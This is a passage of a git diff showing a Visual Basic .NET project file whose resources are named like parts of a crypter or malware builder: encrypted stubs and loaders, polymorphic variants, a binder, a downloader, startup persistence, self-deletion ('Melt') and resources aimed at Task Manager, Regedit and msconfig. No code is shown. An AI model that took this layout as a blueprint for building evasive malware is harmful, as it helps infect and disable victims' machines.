<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\RpE.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Stub.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\RC4Loader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\RC4.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\TDESRev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\TDESLoader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\RijndaelRev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\RijLoader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\ResetStub.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\StairsRev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\StairsLoader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AESRev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AESLoader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\XORRev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\XORLoader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\PolyXORRev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\PolyXORLoader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\PolyStairsRev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\PolyStairsLoader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\PolyRC4Rev.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\PolyRC4Loader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AntisSub.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\FunctionA.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\PolyDec.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Killers.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\KFunction.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Add2StartUp.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Websites.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\TaskMSub.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Regedit.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Adxdiag.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\ANotePad.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\FolderOpt.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\msconfig.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Restart.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Melt.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Downloader.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\HalDLL.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\APIs.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Binder.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="Gnome-Dialog-Password.ico" />
|
||||
<None Include="Resources\Invoke.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework Client Profile</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.2.0">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 2.0 %28x86%29</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.0">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.0 %28x86%29</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Windows.Installer.3.1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Windows Installer 3.1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,19 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory>
|
||||
</PublishUrlHistory>
|
||||
<InstallUrlHistory>
|
||||
</InstallUrlHistory>
|
||||
<SupportUrlHistory>
|
||||
</SupportUrlHistory>
|
||||
<UpdateUrlHistory>
|
||||
</UpdateUrlHistory>
|
||||
<BootstrapperUrlHistory>
|
||||
</BootstrapperUrlHistory>
|
||||
<ErrorReportUrlHistory>
|
||||
</ErrorReportUrlHistory>
|
||||
<FallbackCulture>en-US</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
File diff suppressed because it is too large
Load Diff
BIN
Binary file not shown.
@@ -0,0 +1 @@
|
||||
3203afc0782dd7ca9aeda21389792c5f7d43d6ce
|
||||
BIN
Binary file not shown.
Reference in New Issue
Block a user